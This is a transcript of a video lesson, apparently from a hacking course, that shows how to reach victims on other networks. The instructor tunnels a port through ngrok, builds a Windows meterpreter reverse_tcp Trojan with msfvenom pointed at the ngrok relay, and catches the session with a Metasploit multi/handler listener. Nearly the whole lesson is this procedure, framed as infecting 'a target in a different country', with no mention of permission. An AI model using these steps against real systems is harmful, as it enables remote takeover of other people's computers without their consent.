Instructor: Hello and welcome back.
All of this time we only infected devices
that were on our local network.
But what if there is a person
or a target in a different country
that we want to infect with our payload?
How can we do that?
Well, we're going to see right now
as you already mentioned at the end of the previous video,
there are two different ways.
There is a way of port forwarding on a router
and I'm not going to show that right now
because that would require you
to have the access to the router
and every router is different
so the settings for the port forwarding
could actually be completely different for you and me,
but this method which is a method using a tool
called ngrok, works on any network
you do not have to have the access to your router
You can just run this tool
and you can hack a device on a completely different network
in a completely different country.
Let's see how we can do that.
So the first thing that I want you to do
is I want you to open your Google Chrome
and type ngrok in your search bar.
Once you do that, you should see this link and ngrok.com.
Click on it, and it'll ask you to create an online account
and this is something that you must do
in order for this to work.
So just go and sign up, create the account
and once you create the account
it'll lead you to this page right here
where you will have the option to download the ngrok tool
and you will also have three different steps
as to how you can install and run the tool.
So the first step is to download the ngrok and unzip it.
We want to download it for Linux
as we are running Kali Linux
so I'm just going to go and save the file.
Now all of the steps I already did,
once you navigate to the downloads,
you will have the ngok stable.zip file
and you will notice I have two of them
because as I mentioned,
this is something that I already did.
The next thing that you want to do
is you want to move this file to your desktop
and you want to run this command right here.
Once run it, you want to connect it to your account
by running the command under the step number two
and that is the entire installation.
After that, you will be good to go.
So let's go back to our terminal and see how ngrok works.
You have this file which you downloaded,
you unzipped it and you got this file.
This is the ngrok executable.
In order to run this, we can type ./ngrok
and after it we want to specify what port
we want to port forward to their servers.
They work similarly as port forwarding to the router.
Just this time we're using their servers
in order to perform the port forwarding.
However, with the free version of ngrok
the port might change every time you restart the tool.
If you get the paid version of ngrok
then I believe you can get a port forwarded
which will be the same every time
but we're going to go with the free version right now.
So we can just type ./ngrok and we want to type tcp,
which stands for the connection.
We want to initiate a TCP connection
and let's forward port 5555.
This is the command that we want to run
in order to run ngrok.
Once you do that, press enter,
and it'll start the tool.
If it says session status online
that means everything is working under the account.
You will see your username, which you created
once creating the online account.
We can see the version of ngrok.
We can see the region to where the port forwarded us
and here is their server that they're using to
port forward our port.
This is the website or the link
and this is the port that we want our targets to connect to.
I know this might look confusing
but just stick with me for a moment right now.
So we got our ngrok tool ready.
Now let's create our payload.
I will zoom this in end,
I'm going to navigate to the desktop.
Great.
There are two things that differentiate
once creating a payload for the local area network
and once creating a payload
for a different network with the ngrok tool.
And those two things are local host
and local port that the target connects to.
But before we even do that, what I want you to do is
I want you to copy this link right here
from the slashes up to the two dots.
So 2.tcp.angrok.io, for you this might be a different link
but I want you to copy only this part,
Copy selection
and I want you to run the command host
and then paste this link.
This host tool will give us the IP address of this link.
So it tells us this link has address 3.138.45.170
and this is the IP address
that you will use as a local host for your payload creation.
So let's go and type msfvenom -p.
And for this video,
we don't really need to attack an Android device.
We are going to attack windows.
It doesn't really matter.
It'll work on both of those devices.
So I'm just going to go with
Windows/x64/meterpreter/reverse_tcp
and I'm using X 64 because I'm attacking a 64-bit Windows
you can adapt your payload
to the machine that you're attacking,
and after it we set the L host to be this IP address.
Paste the selection,
and the L port remember I also said that
the L port is different, in this command.
The L port is going to be this port right here, so 16722.
For you once again, this port will probably be different.
I'm going to copy it and I'm going to paste it right here
and the output can be shell.exe
I'll press enter,
and in just a few seconds we have our payload ready.
Now I'm just going to go and lower both of these terminals
and I'm going to paste it
or paste the payload onto my Windows 10 desktop.
Here it is, but before I run it,
of course I have to set up my MSF console listener,
so I'm just going to go and enter MSF console.
But you will notice that,
as the local host and local port inside the MSF console
we're not going to be using these two things.
This IP address from this link and this port right here.
We only use them for our payload creation
in the MSF console we want to specify this.
We want to specify the local host to be the host
that we are listening for the incoming connections
and port 5555 to be the local port that is also listening
for the incoming connections.
So let's go right here.
First of all, we're going to use exploit multi handler
Set the payload to the payload that you generated
in case you're testing this on an Android device
make sure you select the correct payload
and the L host is going to be the IP address of 0.0.0.0
which means we are listening on any interface whatsoever.
You should also select and type right here 0.0.0.0
and under the L port you want to
type the port that you forwarded.
In my case, it is 5555,
so I'm going to type set L port 5555.
Once you do this, you want to type run.
It'll start listening for the connections
on 0.0.0.0 on the port that you forwarded.
And if I go right here and run this,
for some reason it says this app cannot run on Windows.
Let's see what the problem is.
Hmm, it could be that x64 is presenting a problem
for some reason, so we're just going to create
another payload real quick.
It might misconfigure something once I pasted it
from the Kali Linux to the desktop,
but nonetheless let's remove the current, shell.exe
and let's run the previous command real fast.
First thing is I need an IP address
from this link right here
so I'm just going to copy it once again
and I'm going to type host and then paste this.
Okay, once we get the IP address
then we want to create payload, so msfvenom-p
and let's just use the regular meterpreter payload
which I don't believe this was an issue, but just in case.
Let's go with the regular payload.
L Host is going to be equal to this IP address.
L port is going to be equal to 1 6 7 7 22
which remember it is this port number right here
and let's also add -f to be an exe
just so we can specify that this is an exe file
for some reason maybe this presented as a problem
once we copied it to the desktop.
And the output is going to be test.exe
and let's just wait for this to finish.
Okay, now it gives a different size.
It could be that it was a problem
because it didn't specify -f.exe.
Nonetheless, let's go and copy the payload onto the desktop.
Let's go and open the msfconsole and let's run the Trojan.
Go back to Kali Linux, and here it is.
We got the meterpreter session one opened
from the local host on the target machine
but it does tell us right here
that the meterpreter session one died and that is because
we actually misconfigured the payload right here
since we set it up for the previous payload that didn't work
therefore, it has this X 64
just so we can make sure everything works.
I'm going to set the payload to be
Windows/meterpreter/reverse_tcp.
Show options,
Everything else is already set.
Let's run the listener once again
and let's run the payload once again
and right now everything works.
We got the meterpreter session to open
and we can run all of the commands
the tower meterpreter gives us.
Awesome.
Now, this attack will work on any device in the world
because they're not really connecting
straight to our machine.
They're connecting to this link right here, and to this port
and what ngrok is doing for us
is it is forwarding their connection back to our machine
on the local host, and on this port.
That's why in the MSF console
we are listening on this port and on the local host.
While in the payload creation
we specify that the target should connect right here.
Then they forward the connection
and we get our meterpreter session opened.
And from there we can execute all of the commands as usual.
Awesome.
Now, let me know if you also want me to show you
the port forwarding, how it looks on my router,
in case you want to see that.
But nonetheless, this is the best way
that you can actually perform port forwarding
without needing an access to the router.
Thank you for watching
and I will see you in the next video.